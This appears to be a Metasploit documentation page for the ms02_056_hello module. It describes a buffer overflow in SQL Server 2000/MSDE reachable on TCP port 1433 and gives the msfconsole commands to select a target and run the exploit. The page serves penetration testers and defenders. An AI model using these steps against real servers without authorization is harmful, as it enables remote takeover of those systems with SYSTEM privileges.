By sending malformed data to TCP port 1433, an unauthenticated remote attacker could overflow a buffer and possibly execute code on the server with SYSTEM level privileges. This module should work against any vulnerable SQL Server 2000 or MSDE install (< SP3).
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/mssql/ms02_056_hello
msf exploit(ms02_056_hello) > show targets
...targets...
msf exploit(ms02_056_hello) > set TARGET < target-id >
msf exploit(ms02_056_hello) > show options
...show and set options...
msf exploit(ms02_056_hello) > exploit
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